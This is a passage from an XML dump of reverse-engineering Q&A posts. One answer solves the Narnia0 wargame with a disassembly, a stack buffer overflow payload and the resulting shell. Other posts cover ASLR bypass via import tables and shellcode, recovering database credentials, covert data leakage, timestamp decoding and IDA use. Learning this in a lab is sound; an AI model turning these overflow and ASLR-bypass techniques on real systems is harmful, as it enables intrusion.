program: /games/narnia/narnia0 &#xA;Breakpoint 1, 0x080484c4 in main ()&#xA;(gdb) n&#xA;Single stepping until exit from function main,&#xA;which has no line number information.&#xA;Correct val's value from 0x41414141 -&amp;gt; 0xdeadbeef!&#xA;Here is your chance: AAAAAAAAAAAA&#xA;buf: AAAAAAAAAAAA&#xA;val: 0x41414141&#xA;Breakpoint 2, 0x0804852d in main ()&#xA;(gdb) i r&#xA;eax            0x10     16&#xA;ecx            0x0      0&#xA;edx            0x0      0&#xA;ebx            0xf7fcdff4       -134422540&#xA;esp            0xffffd6f0       0xffffd6f0&#xA;ebp            0xffffd728       0xffffd728&#xA;esi            0x0      0&#xA;edi            0x0      0&#xA;eip            0x804852d        0x804852d &amp;lt;main+105&amp;gt;&#xA;eflags         0x286    [ PF SF IF ]&#xA;cs             0x23     35&#xA;ss             0x2b     43&#xA;ds             0x2b     43&#xA;es             0x2b     43&#xA;fs             0x0      0&#xA;gs             0x63     99&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4260" LastEditorUserId="4260" LastEditDate="2014-06-25T16:29:16.013" LastActivityDate="2014-06-25T16:29:16.013" Title="0xdeadbeef in Exploitation?" Tags="|exploit|" AnswerCount="1" CommentCount="3" ClosedDate="2014-06-25T10:37:50.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="4689" PostTypeId="2" ParentId="4686" CreationDate="2014-06-24T15:07:36.800" Score="3" Body="&lt;p&gt;This should be &lt;code&gt;0xdeadbeef&lt;/code&gt; (dead beef), because it is a word that can be spelled in hexadecimal characters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We usually call this &lt;a href=&quot;http://en.wikipedia.org/wiki/Hexspeak&quot; rel=&quot;nofollow&quot;&gt;Hexspeak&lt;/a&gt;. Other well knowns hexadecimal words are &lt;code&gt;0xcafebabe&lt;/code&gt; or &lt;code&gt;0xd15ea5e&lt;/code&gt;. Together with &lt;a href=&quot;http://en.wikipedia.org/wiki/Leet&quot; rel=&quot;nofollow&quot;&gt;133tspeak&lt;/a&gt;, it might lead to some interesting (and funny) wording.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning the exploitation of the challenge, I didn't try... But, you are given one chance through the &quot;&lt;code&gt;Here is your chance&lt;/code&gt;&quot; prompt. So, try, for example, to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;python -c 'print(&quot;A&quot;*20 + &quot;\xef\xbe\xad\xde&quot;)' | ./narnia0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my full log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) disas main&#xA;Dump of assembler code for function main:&#xA;   0x080484c4 &amp;lt;+0&amp;gt;: push   %ebp&#xA;   0x080484c5 &amp;lt;+1&amp;gt;: mov    %esp,%ebp&#xA;   0x080484c7 &amp;lt;+3&amp;gt;: and    $0xfffffff0,%esp&#xA;   0x080484ca &amp;lt;+6&amp;gt;: sub    $0x30,%esp&#xA;   0x080484cd &amp;lt;+9&amp;gt;: movl   $0x41414141,0x2c(%esp)&#xA;   0x080484d5 &amp;lt;+17&amp;gt;:    movl   $0x8048640,(%esp)&#xA;   0x080484dc &amp;lt;+24&amp;gt;:    call   0x80483b0 &amp;lt;puts@plt&amp;gt;&#xA;   0x080484e1 &amp;lt;+29&amp;gt;:    mov    $0x8048673,%eax&#xA;   0x080484e6 &amp;lt;+34&amp;gt;:    mov    %eax,(%esp)&#xA;   0x080484e9 &amp;lt;+37&amp;gt;:    call   0x80483a0 &amp;lt;printf@plt&amp;gt;&#xA;   0x080484ee &amp;lt;+42&amp;gt;:    mov    $0x8048689,%eax&#xA;   0x080484f3 &amp;lt;+47&amp;gt;:    lea    0x18(%esp),%edx&#xA;   0x080484f7 &amp;lt;+51&amp;gt;:    mov    %edx,0x4(%esp)&#xA;   0x080484fb &amp;lt;+55&amp;gt;:    mov    %eax,(%esp)&#xA;   0x080484fe &amp;lt;+58&amp;gt;:    call   0x8048400 &amp;lt;__isoc99_scanf@plt&amp;gt;&#xA;   0x08048503 &amp;lt;+63&amp;gt;:    mov    $0x804868e,%eax&#xA;   0x08048508 &amp;lt;+68&amp;gt;:    lea    0x18(%esp),%edx&#xA;   0x0804850c &amp;lt;+72&amp;gt;:    mov    %edx,0x4(%esp)&#xA;   0x08048510 &amp;lt;+76&amp;gt;:    mov    %eax,(%esp)&#xA;   0x08048513 &amp;lt;+79&amp;gt;:    call   0x80483a0 &amp;lt;printf@plt&amp;gt;&#xA;   0x08048518 &amp;lt;+84&amp;gt;:    mov    $0x8048697,%eax&#xA;   0x0804851d &amp;lt;+89&amp;gt;:    mov    0x2c(%esp),%edx&#xA;   0x08048521 &amp;lt;+93&amp;gt;:    mov    %edx,0x4(%esp)&#xA;   0x08048525 &amp;lt;+97&amp;gt;:    mov    %eax,(%esp)&#xA;   0x08048528 &amp;lt;+100&amp;gt;:   call   0x80483a0 &amp;lt;printf@plt&amp;gt;&#xA;   0x0804852d &amp;lt;+105&amp;gt;:   cmpl   $0xdeadbeef,0x2c(%esp)&#xA;   0x08048535 &amp;lt;+113&amp;gt;:   jne    0x804854a &amp;lt;main+134&amp;gt;&#xA;   0x08048537 &amp;lt;+115&amp;gt;:   movl   $0x80486a4,(%esp)&#xA;   0x0804853e &amp;lt;+122&amp;gt;:   call   0x80483c0 &amp;lt;system@plt&amp;gt;&#xA;   0x08048543 &amp;lt;+127&amp;gt;:   mov    $0x0,%eax&#xA;   0x08048548 &amp;lt;+132&amp;gt;:   leave  &#xA;   0x08048549 &amp;lt;+133&amp;gt;:   ret    &#xA;   0x0804854a &amp;lt;+134&amp;gt;:   movl   $0x80486ac,(%esp)&#xA;   0x08048551 &amp;lt;+141&amp;gt;:   call   0x80483b0 &amp;lt;puts@plt&amp;gt;&#xA;   0x08048556 &amp;lt;+146&amp;gt;:   movl   $0x1,(%esp)&#xA;   0x0804855d &amp;lt;+153&amp;gt;:   call   0x80483e0 &amp;lt;exit@plt&amp;gt;&#xA;End of assembler dump.&#xA;(gdb) x /s 0x8048640 &#xA;0x8048640:   &quot;Correct val's value from 0x41414141 -&amp;gt; 0xdeadbeef!&quot;&#xA;(gdb) x /s 0x8048673&#xA;0x8048673:   &quot;Here is your chance: &quot;&#xA;(gdb) x /s 0x8048689&#xA;0x8048689:   &quot;%24s&quot;&#xA;(gdb) quit&#xA;narnia0@melinda:/narnia$ python -c 'print(&quot;A&quot;*20 + &quot;\xde\xad\xbe\xef&quot;)' | ./narnia0 &#xA;Correct val's value from 0x41414141 -&amp;gt; 0xdeadbeef!&#xA;Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAޭ��&#xA;val: 0xefbeadde&#xA;WAY OFF!!!!&#xA;narnia0@melinda:/narnia$ python -c 'print(&quot;A&quot;*20 + &quot;\xef\xbe\xad\xde&quot;)' | ./narnia0 &#xA;Correct val's value from 0x41414141 -&amp;gt; 0xdeadbeef!&#xA;Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAﾭ�&#xA;val: 0xdeadbeef&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I started by disassembling the &lt;code&gt;main&lt;/code&gt; function. Then, I looked at the format strings I could find in the program. The one from the &lt;code&gt;scanf&lt;/code&gt; told me that the size of the input string is 24 bytes. I assumed that the buffer is less than that and that the overflow occurs at the end of the string (the last four bytes). Then, I first did a stupid mistake by entering the &lt;code&gt;0xdeadbeef&lt;/code&gt; in big-endian. And, finally, I got it right (second try).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I got lucky (or I just did too many of these things recently...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: I can't keep the shell open with the Python scripting, the only way out that I found was to display the string with an &lt;code&gt;echo&lt;/code&gt; and copy/paste it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;narnia0@melinda:/narnia$ echo $'AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\xaf'&#xA;AAAAAAAAAAAAAAAAAAAAﾭޯ&#xA;narnia0@melinda:/narnia$ ./narnia0 &#xA;Correct val's value from 0x41414141 -&amp;gt; 0xdeadbeef!&#xA;Here is your chance: AAAAAAAAAAAAAAAAAAAAﾭޯ&#xA;buf: AAAAAAAAAAAAAAAAAAAAﾭ�&#xA;val: 0xdeadbeef&#xA;$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2014-06-24T20:47:26.433" LastActivityDate="2014-06-24T20:47:26.433" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="4690" PostTypeId="1" CreationDate="2014-06-24T17:19:24.880" Score="3" ViewCount="1629" Body="&lt;p&gt;I am trying to retrieve date and time data from a hex dump. I found following entries that has entry id and date time information in it. But, I am not sure about which offset it is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;60 03 00 00 00 F1 16 CE 18 23 8E E1 00 01 9E  -&amp;gt;  2011.10.29 x.x.x&#xA;38 05 00 00 00 89 70 B0 83 34 8E E1 00 01 4E  -&amp;gt;  2011.10.30 x.x.x&#xA;1A 06 00 00 00 89 0F 9E 71 3C 8E E1 00 01 12  -&amp;gt;  2011.10.31 x.x.x&#xA;24 07 00 00 00 03 45 29 A2 71 8E E1 00 01 28  -&amp;gt;  2011.11.02 x.x.x&#xA;1A 00 00 00 00 41 E7 A2 6E 22 DA E1 00 01 12  -&amp;gt;  2014.06.22 22.39.x&#xA;1A 01 00 00 00 B9 47 48 73 22 DA E1 00 01 12  -&amp;gt;  2014.06.22 22.40.x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I already tried with last 8 bytes with different epoch. For an example,&#xA;with &lt;code&gt;48 73 22 DA E1 00 01 12&lt;/code&gt;, in little endian arrangement (epoch Jan,1,1), I got &lt;code&gt;4112-01-16 18:42:48.674601&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen &lt;a href=&quot;https://stackoverflow.com/questions/24335359/extracting-date-and-time-from-a-binary-data-string-using&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://stackoverflow.com/questions/12814588/covert-binary-64-bit-timestamp-offset-from-the-gps-epoch-to-python-datetime-obje&quot;&gt;this&lt;/a&gt; questions similar to mine and tried their methods. But, still I can't retrieve the right data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, could you please give me a reference to book that deals with binary data extraction like this?&lt;/p&gt;&#xA;" OwnerUserId="6912" LastEditorUserId="53" LastEditDate="2014-06-24T19:20:29.393" LastActivityDate="2014-06-25T08:49:35.367" Title="Date and time data extraction from a hex dump" Tags="|binary-analysis|binary|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4691" PostTypeId="2" ParentId="3800" CreationDate="2014-06-24T20:11:27.200" Score="4" Body="&lt;p&gt;Some systems use a simple executable format which is linked by combining the instructions and defined data contained in the processed assembly files, in a specified sequence; the linker will apply address fix-ups, but otherwise the contents of the output executable will be exactly what the programmer specified--nothing more; nothing less.  The old MS-DOS .COM file format was like that, and so it's possible for a disassembler to take a COM file and produce an file which, when assembled and linked, will yield a bit-identical file (the disassembly may have to use data directives for anything it doesn't understand, or for any instructions which might compile to something other than the bit pattern than appears in the file, but any executable-file bytes could be created using define-byte directives if nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other systems, however, use linkers which are more sophisticated and have to generate additional information which gets stored within the file.  It's possible that building the same source file with different versions of the tools may yield different binary files.  In general, when doing a disassemble-patch-reassemble sequence, one would strive to minimize the amount of code whose address changes.  If code stores the address of a function somewhere but the disassembler doesn't realize it's a function address rather than a constant, the only way the code will work is if the function stays at the same address.  Unfortunately, there's no way for an object file which is compatible with MS-DOS or Windows build tools to specify where things should be located.  When the code was originally compiled or assembled, the linker would be free to put the function anywhere and would update the &quot;constant&quot; function address appropriately.  When processing disassembled code, there's no way to ensure that the function stays at the old address, nor of having all addresses which depend upon it will get updated if it moves.&lt;/p&gt;&#xA;" OwnerUserId="6914" LastActivityDate="2014-06-24T20:11:27.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4692" PostTypeId="1" CreationDate="2014-06-24T23:30:41.840" Score="3" ViewCount="193" Body="&lt;p&gt;I was asked to help extract information from an old Progress database. I have physical and remote access to both the database server and a workstation with the client application installed. I am able to run the client application which requests and presents information from the database. The connection appears to be via ODBC and I am able to connect to the host/service but do not have valid credentials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I presume the credentials have to be stored somewhere on the client machine since logging in to the client application allows me to connect. I already reviewed the registry and file system for any hints of configuration and found many useful pieces of information but no credentials. My next thought was to try to trace the network communication but I expect that the communication would be encrypted so that would be a whole other issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I best go about finding what the database credentials are?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update: I should also mention I'm not familiar with Progress databases - my experience is in Oracle, SQLServer, and MySQL. I'm just trying to help an old coworker out and assume once I can connect it's just like any other relational database.&lt;/p&gt;&#xA;" OwnerUserId="6916" LastEditorUserId="245" LastEditDate="2014-06-26T09:29:59.737" LastActivityDate="2014-06-26T09:29:59.737" Title="Retrieving database credentials with access to an application that can connect and execute" Tags="|networking|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4693" PostTypeId="1" AcceptedAnswerId="18032" CreationDate="2014-06-25T01:38:02.203" Score="4" ViewCount="3515" Body="&lt;p&gt;As a beginner I'm trying to use IDC to clear output window in IDA Pro,but I don't know which function will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My IDA Pro version is 6.1.&lt;/p&gt;&#xA;" OwnerUserId="6903" LastEditorUserId="6903" LastEditDate="2014-06-25T01:45:03.460" LastActivityDate="2023-06-30T23:10:34.453" Title="How to use IDC to clear output window in IDA Pro?" Tags="|ida|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4694" PostTypeId="1" AcceptedAnswerId="4698" CreationDate="2014-06-25T04:38:42.633" Score="3" ViewCount="2249" Body="&lt;p&gt;I am using IDA to find out parameters of a routine in a DLL. I browsed to the routine in question and saw that IDA has automatically done that job for me and put a comment like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ; =============== S U B R O U T I N E =======================================&#xA;CODE:0048E5BC&#xA;CODE:0048E5BC ; Attributes: bp-based frame&#xA;CODE:0048E5BC&#xA;CODE:0048E5BC ; int __stdcall Active(int, double, double, double, char, char, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, double, double, char)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to know how much reliable this info is if I want to call this function in C# (using p/invoke)?&lt;/p&gt;&#xA;" OwnerUserId="6918" LastEditorUserId="53" LastEditDate="2014-06-25T06:42:43.523" LastActivityDate="2014-06-25T09:40:38.293" Title="IDApro subroutine analysis" Tags="|ida|dll|functions|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4695" PostTypeId="2" ParentId="4693" CreationDate="2014-06-25T05:17:36.160" Score="5" Body="&lt;p&gt;I don't think there is one, so I tend to &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;X&lt;/kbd&gt; in the console window, which is the same as right-clicking and picking &lt;kbd&gt;Clear&lt;/kbd&gt; from the context menu, before running my IDC scripts.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="245" LastEditDate="2023-06-30T23:10:34.453" LastActivityDate="2023-06-30T23:10:34.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4697" PostTypeId="2" ParentId="4690" CreationDate="2014-06-25T08:49:35.367" Score="6" Body="&lt;p&gt;the 64 bit value at offset 5 is the number of microseconds since the year 0:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this perl script to verify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use POSIX;&#xA;while (&amp;lt;DATA&amp;gt;) {&#xA;    if (/(.*\S)\s+-&amp;gt;\s+(.*\S)/) {&#xA;        my ($hex, $date)= ($1,$2);&#xA;&#xA;        # convert date to unix timestamp&#xA;        $date =~ s/x/0/g;&#xA;        my @f= reverse split /[. ]/, $date;&#xA;        $f[4]--;  # correct month for mktime&#xA;        $f[5]-=1900; # correct year for mktime&#xA;        my $unixtime= POSIX::mktime(@f);&#xA;&#xA;        # extract qword starting at byte 5&#xA;        $hex =~ s/\s//g;&#xA;        my ($lo,$hi)= unpack(&quot;VV&quot;, substr(pack(&quot;H*&quot;, $hex), 5, 8));&#xA;        $value= $hi*0x100000000+$lo;&#xA;&#xA;        printf(&quot;0x%x/1000000-%d = %d\n&quot;, $value, $unixtime, $value/1000000-$unixtime);&#xA;    }&#xA;}&#xA;__DATA__&#xA;60 03 00 00 00 F1 16 CE 18 23 8E E1 00 01 9E  -&amp;gt;  2011.10.29 x.x.x&#xA;38 05 00 00 00 89 70 B0 83 34 8E E1 00 01 4E  -&amp;gt;  2011.10.30 x.x.x&#xA;1A 06 00 00 00 89 0F 9E 71 3C 8E E1 00 01 12  -&amp;gt;  2011.10.31 x.x.x&#xA;24 07 00 00 00 03 45 29 A2 71 8E E1 00 01 28  -&amp;gt;  2011.11.02 x.x.x&#xA;1A 00 00 00 00 41 E7 A2 6E 22 DA E1 00 01 12  -&amp;gt;  2014.06.22 22.39.x&#xA;1A 01 00 00 00 B9 47 48 73 22 DA E1 00 01 12  -&amp;gt;  2014.06.22 22.40.x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;resulting in this output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xe18e2318ce16f1/1000000-1319839200 = 62168311951&#xA;0xe18e3483b07089/1000000-1319925600 = 62168300358&#xA;0xe18e3c719e0f89/1000000-1320015600 = 62168244415&#xA;0xe18e71a2294503/1000000-1320188400 = 62168300062&#xA;0xe1da226ea2e741/1000000-1403469540 = 62168241639&#xA;0xe1da22734847b9/1000000-1403469600 = 62168241657&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;62168241657/86400/365.2422 =  1970.03477142853579229222 years&lt;/p&gt;&#xA;" OwnerUserId="1842" LastActivityDate="2014-06-25T08:49:35.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4698" PostTypeId="2" ParentId="4694" CreationDate="2014-06-25T09:30:56.307" Score="6" Body="&lt;p&gt;It's not very reliable. IDA can't determine types beyond analyzing the size and type of loads and stores. For instance IDA doesn't tell the difference between a pointer to a type and an integer, given that they're the same size, as far as I know. Other than that all it can do is propagate type information entered by the user. I believe the Hex-Rays decompiler does a bit more advanced argument analysis but it's also not able to extract correct function signatures in many cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Argument counts can be guessed from stack pushes and stack accesses on x86 but it's important to remember that there's no requirement that the calling convention use the stack at all. On less register starved architectures, determining argument counts is bit harder due to more efficient calling conventions using registers instead of the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to actually call that function it's extremely likely that you'll want to analyze it in more detail than what IDA gives you automatically.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-06-25T09:40:38.293" LastActivityDate="2014-06-25T09:40:38.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4701" PostTypeId="2" ParentId="4685" CreationDate="2014-06-25T14:33:55.187" Score="2" Body="&lt;p&gt;One common method of data exfiltration is having seemingly arbitrary data depend upon the data to be leaked; a sneaky program may thus not send data outside a machine itself, but rather cause the data to be stored within information which would be legitimately exchanged via other means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One example I remember reading about was a program which included a function to print a registration form, but before printing the form it would scan the computer for other software produced by the same company and slightly adjust the placement of a few items on the form based upon what it found.  Scanning the form and measuring the exact placement of those items would then allow the company to ascertain which of its other programs a user had installed, without requiring the company to have any sort of network or modem connectivity to the machine in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realistically speaking, the only way to ensure that an untrusted program won't share information inappropriately is to not allow any untrusted programs to have access to information that shouldn't be shared.  Once programs have access to information, there are so many ways they can hind it that it would be hard to ensure one found them all.&lt;/p&gt;&#xA;" OwnerUserId="6914" LastActivityDate="2014-06-25T14:33:55.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4702" PostTypeId="2" ParentId="4684" CreationDate="2014-06-25T21:46:10.660" Score="3" Body="&lt;p&gt;in IDC the following works, so I'm not sure if you can use the same functions from Python&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto type;&#xA;auto ea;&#xA;&#xA;ea = 0x8F84C37C;&#xA;Message(&quot;isStruct: %d\n&quot;, isStruct(GetFlags(ea)));&#xA;type = GetTinfo(ea);&#xA;Message(&quot;firstattr: %s\n&quot;, firstattr(type));&#xA;Message(&quot;getattr: %d\n&quot;, getattr(type,&quot;typid&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;outputting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;isStruct: 1&#xA;firstattr: typid&#xA;getattr: 52541&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-06-26T03:54:37.087" LastActivityDate="2014-06-26T03:54:37.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4703" PostTypeId="1" AcceptedAnswerId="4706" CreationDate="2014-06-26T05:55:09.483" Score="2" ViewCount="859" Body="&lt;p&gt;The conditions: say one patched programm has hardcoded address of &lt;code&gt;printf()&lt;/code&gt; from dynamically loaded &lt;code&gt;msvcrt80.dll&lt;/code&gt;. It works just fine on XP, but Win7 randomizes address space (ASLR), so this trick become impossible and program crashes with call of my hardcoded &lt;code&gt;printf()&lt;/code&gt; address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to retrieve IAT RVA of this &lt;code&gt;printf()&lt;/code&gt; in win7 to make this work?&lt;/p&gt;&#xA;" OwnerUserId="4609" LastEditorUserId="1547" LastEditDate="2014-07-26T02:43:08.690" LastActivityDate="2014-07-26T02:43:08.690" Title="Win7 ASLR bypass" Tags="|windows|exploit|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4704" PostTypeId="2" ParentId="4349" CreationDate="2014-06-26T08:31:41.663" Score="3" Body="&lt;pre&gt;&lt;code&gt;objdump -f exe_name&#xA;&#xA;exe_name:     file format elf32-little&#xA;architecture: UNKNOWN!, flags 0x00000112:&#xA;EXEC_P, HAS_SYMS, D_PAGED&#xA;start address 0x00306990&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The start address mentioned above is the main entry point in the executable. You can also verify this using gdb&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break *0x00306990&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Normally, the start address is mapped to symbol &lt;code&gt;_start&lt;/code&gt;, so you can also do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) break _start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I recall correctly, &lt;code&gt;_start&lt;/code&gt; calls &lt;code&gt;__libc_start_main&lt;/code&gt; which in turn calls &lt;code&gt;__libc_csu_init&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="6929" LastEditorUserId="6929" LastEditDate="2014-06-26T15:43:47.203" LastActivityDate="2014-06-26T15:43:47.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4705" PostTypeId="2" ParentId="4349" CreationDate="2014-06-26T11:17:40.853" Score="3" Body="&lt;p&gt;I started to answer to this in « &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3815/reversing-elf-64-bit-lsb-executable-x86-64-gdb/3816#3816&quot;&gt;Reversing ELF 64-bit LSB executable, x86-64 ,gdb&lt;/a&gt; », but this was focused only to AMD64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed, the key is really to locate the &lt;code&gt;__libc_start_main&lt;/code&gt; function and take its first argument as a pointer to the entry of the &lt;code&gt;main&lt;/code&gt; function. The full description of this function is the following (from its manual page):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;__libc_start_main&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;h2&gt;Name&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;__libc_start_main&lt;/code&gt; - initialization routine&lt;/p&gt;&#xA;  &#xA;  &lt;h2&gt;Synopsis&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __libc_start_main(int (*main) (int, char**, char**), int argc, char** ubp_av,&#xA;                      void (*init) (void), void (*fini) (void), &#xA;                      void (*rtld_fini) (void), void (* stack_end));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;h2&gt;Description&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;The &lt;code&gt;__libc_start_main()&lt;/code&gt; function shall perform any necessary initialization of the execution environment, call the main function with appropriate arguments, and handle the return from &lt;code&gt;main()&lt;/code&gt;. If the &lt;code&gt;main()&lt;/code&gt; function returns, the return value shall be passed to the &lt;code&gt;exit()&lt;/code&gt; function.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: While this specification is intended to be implementation independent, process and library initialization may include:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Performing any necessary security checks if the effective user ID is not the same as the real user ID.&lt;/li&gt;&#xA;  &lt;li&gt;Initialize the threading subsystem.&lt;/li&gt;&#xA;  &lt;li&gt;Registering the &lt;code&gt;rtld_fini&lt;/code&gt; to release resources when this dynamic shared object exits (or is unloaded).&lt;/li&gt;&#xA;  &lt;li&gt;Registering the &lt;code&gt;fini&lt;/code&gt; handler to run at program exit.&lt;/li&gt;&#xA;  &lt;li&gt;Calling the initializer function &lt;code&gt;(*init)()&lt;/code&gt;.&lt;/li&gt;&#xA;  &lt;li&gt;Calling &lt;code&gt;main()&lt;/code&gt; with appropriate arguments.&lt;/li&gt;&#xA;  &lt;li&gt;Calling &lt;code&gt;exit()&lt;/code&gt; with the return value from &lt;code&gt;main()&lt;/code&gt;.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;This list is an example only.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;__libc_start_main()&lt;/code&gt; is not in the source standard; it is only in the binary standard.&lt;/p&gt;&#xA;  &#xA;  &lt;h2&gt;See Also&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;The section on &lt;em&gt;Process Initialization&lt;/em&gt; in each of the architecture specific parts of ISO/IEC 23360.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, the &lt;code&gt;__libc_start_main&lt;/code&gt; gives you not only the address of the &lt;code&gt;main()&lt;/code&gt; procedure but also access to &lt;code&gt;int argc&lt;/code&gt;, &lt;code&gt;char** argv&lt;/code&gt; and &lt;code&gt;char** envp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point will then be to extract each of these arguments from the assembly code which may vary depending on the ABI (Application Binary Interface) you are using (function arguments may be pushed on the stack or in specific registers).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-06-26T15:42:50.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4706" PostTypeId="2" ParentId="4703" CreationDate="2014-06-26T11:51:03.920" Score="5" Body="&lt;p&gt;If you can patch the program's image, you don't actually need to hardcode the address. you can simply add another import entry to the already existing import tables and have it patched in automatically by the loader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://www.programminghorizon.com/win32assembly/pe-tut6.html&quot; rel=&quot;nofollow&quot; title=&quot;Iczelion's import table tutorial&quot;&gt;Iczelion's tutorial&lt;/a&gt; on import tables to guide you further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if you're trying to do that from shellcode, you'll need to walk the loader data, locating the DLL image. The &lt;code&gt;Ldr&lt;/code&gt; member in &lt;a href=&quot;http://en.wikipedia.org/wiki/Process_Environment_Block%20%22PEB%20structure&quot; rel=&quot;nofollow&quot;&gt;PEB&lt;/a&gt; should help you with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd be so kind to provide more details on what exactly you are trying to do, I'll update the answer; there is no simple answer to the &quot;how to defeat ASLR&quot; question.&lt;/p&gt;&#xA;" OwnerUserId="6910" LastEditorDisplayName="user6936" LastEditDate="2014-06-27T07:02:19.077" LastActivityDate="2014-06-27T07:02:19.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
